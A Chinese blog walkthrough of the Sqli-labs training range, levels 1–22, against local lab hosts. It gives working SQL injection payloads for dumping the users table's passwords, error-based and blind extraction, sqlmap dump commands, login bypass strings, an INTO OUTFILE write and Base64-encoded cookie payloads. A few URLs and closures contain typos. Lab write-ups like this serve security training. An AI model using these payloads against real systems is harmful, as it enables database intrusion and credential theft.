Sqli-labs靶场1-22

Sql注入的本质是代码和数据的未分离，导致用户的输入可以对数据库产生恶意的输入或输出。

本篇博客旨在通过Sqli-labs的第1-22关，详细的描述Sql注入的相关场景及分类。

Less-1

GET型传参,字符型注入,单引号闭合

首先判断闭合,输入单引号时，出现报错信息，判断是单引号闭合

#出现报错信息
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 '
#报错信息消失,由此判断是单引号闭合
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 '#
#进行注入
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 ' order by 3 # //回显正确
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 ' order by 4 # //回显错误，报错信息为: Unknown column '4' in 'order clause'
判断有3列
#查看报错位
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,3 # //查看到报错位为2,3;注意这里id=-1才可以显示想要的回显
#正式进行注入
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,version(),database() # //查看版本，数据库名称
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # //查看到数据表名为emails,referers,uagents,users
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' # //查询到users数据表的数据列为:id,username,password
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1’
union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users # //注入出数据库所有的内容

Less-2

GET型传参，数字型注入

#正常显现
127.0.0.1/sqli-labs/Lesss-2/?id=1
#and逻辑运算符判断,为假时出现异常
127.0.0.1/sqli-labs/Lesss-2/?id=1 and 1=2 //得出结论为数字型注入
#进行注入
http://127.0.0.1/sqli-labs/Lesss-2/?id=-1
union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users # //注入出数据库所有内容

Less-3

GET型传参,字符型注入，闭合为（' '）

#正常回显
http://127.0.0.1/sqli-labs/Lesss-3/?id=1 ') #
#进行注入
http://127.0.0.1/sqli-labs/Lesss-3/?id=-1 ') union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users #

Less-4

GET型传参，字符型注入，闭合为("")

#出现报错信息
http://192.168.28.128/sqli-labs/Lesss-4/?id=2")
#正常回显
http://192.168.28.128/sqli-labs/Lesss-4/?id=2") #
#进行注入
http://192.168.28.128/sqli-labs/Lesss-4/?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users #

Less-5

GET型传参，布尔盲注,单引号闭合，考虑报错注入或者布尔盲注

方法1:报错注入

#注入出数据库版本
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e,version()),0) #
#注入出表名
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #
#注入出列名：
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #
#注入出数据
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select username from security.users limit 0,1)),0) #

方法2:Sqlmap 布尔型盲注

#查看数据表
sqlmap -u "http://192.168.28.128/sqli-labs/Lesss-5/?id=1" --current-db --batch --level 5 --threads 10
#进行数据注入
sqlmap -u "http://192.168.28.128/sqli-labs/Lesss-5/?id=1" -D "security" -T "users" -C "username,password" --dump --batch --level 5 --threads 10

Less-6

GET型传参，布尔传参，双引号闭合，考虑报错注入或者布尔盲注，方法与Less-5同，区别在于将单引号替换为双引号

#注入出数据库版本
http://192.168.28.128/sqli-labs/Lesss-6/?id=1" and updatexml(1,concat(0x7e,version()),0) #
#注入出数据
http://192.168.28.128/sqli-labs/Lesss-6/?id=1" and updatexml(1,concat(0x7e, (select username from security.users limit 0,1)),0) #

Less-7

通过本关名称可以看出是写入，这里涉及到一个概念：

MYSQL新特性secure_file_priv 对读写文件的影响，此开关默认为NULL,即不允许导入导出，这个对我们写入shell有重要的影响

http://192.168.28.128/sqli-labs/Less-7/?id=1 ')) union select 1,database(),user() into outfile "E:/phpstudy/PHPTutorial/WWW/sqli-labs/Less-7"#

方法2:时间盲注

使用Sqlmap或者自己编写Python脚本

sqlmap -u "192.168.28.128/sqli-labs/Less-7/?id=1" --threads 10 --level 3 -D security -T users -C id,password,username --dump

Less-8

GET型传参,布尔盲注，单引号闭合，无过滤，Sqlmap可以直接出

sqlmap -u "http://192.168.28.128/sqli-labs/Less-8/?id=1" -D security -T users -C id,password,username --dump --threads 10 --level 5 --batch --technique B --dbms mysql

Less-9

GET型传参,无论输入正确与否皆为You are in，单引号闭合，时间盲注，Sqlmap直接出

sqlmap -u "http://192.168.28.128/sqli-labs/Less-9/?id=1" -D security -T users -C id,password,username --dump --threads 10 --level 5 --batch --technique T --dbms mysql

Less-10

GET型传参,无论输入正确与否皆为You are in ,双引号闭合，时间盲注，Sqlmap直接出

#延迟3秒刷新
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(3) --+
#Sqlmap注入
sqlmap -u "http://192.168.28.128/sqli-labs/Less-10/?id=1" -D security --tables --threads 10 --level 5 --batch --technique T --dbms mysql

Less-11

POST型传参，单引号闭合，可使用报错注入，也可使用万能密码

#POST型传参,发现登录成功
uname=admin '+or+ '1 '= '1&passwd=123&submit=Submit
#POST型注入工作
uname=admin") and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit

Less-12

POST型传参,闭合为")，同Less-11

#POST型传参,发现登录成功
uname=admin" )+or+("1" )=("1&passwd=123&submit=Submit
#POST型注入工作
uname=admin") and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit

Less-13

POST型传参，闭合为(''),考虑盲注或者报错注入

#报错注入
uname=admin ' )and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit
#时间盲注
sqlmap -r 1.txt --current-db --technique T --batch --threads 10 --dbms mysql

Less-14

POST型传参，闭合为” “,考虑报错注入

#报错注入
uname=admin"and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit

Less-15

POST型传参,闭合为‘’，时间盲注或者布尔盲注，考虑用Sqlmap一把嗦

sqlmap -r 2.txt --technique T --dbms mysql --current-db --batch --threads 10 --level 5

Less-16

同Less-15,不过闭合是（“”),可以考虑自己构造python脚本，或者Sqlmap.

sqlmap -r 3.txt --technique T --dbms mysql --current-db --batch --threads 10 --level 5

Less-17

POST型传参，闭合为' ',注入点在password

uname=admin&passwd=admin' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) --+&submit=Submit

Less-18

POST型传参，UA型Insert注入，闭合方式为' and updatexml() and '1'='1 ,注意考虑闭合

' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1) and '1'='1

 Less-19

回显Refer，考虑Refer注入

http://127.0.0.1/sqli-labs/Less-19/' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and '1'='1

Less-20

COOKIE注入，在存储处修改COOKIE即可

' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and '1'='1

Less-21

COOKIE注入，发现COOKIE处使用Base64编码,则将Less-20处Payload 使用Base64编码即可

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAYmFzZWRpciksMHg3ZSksMCkgYW5kICcxJz0nMQ==

Less-22

同COOKIE注入，并且使用了Base64编码，不同处是使用了双引号进行闭合

编码前Payload

" and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and "1"="1

编码后Payload

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpLDApIGFuZCAiMSI9IjE=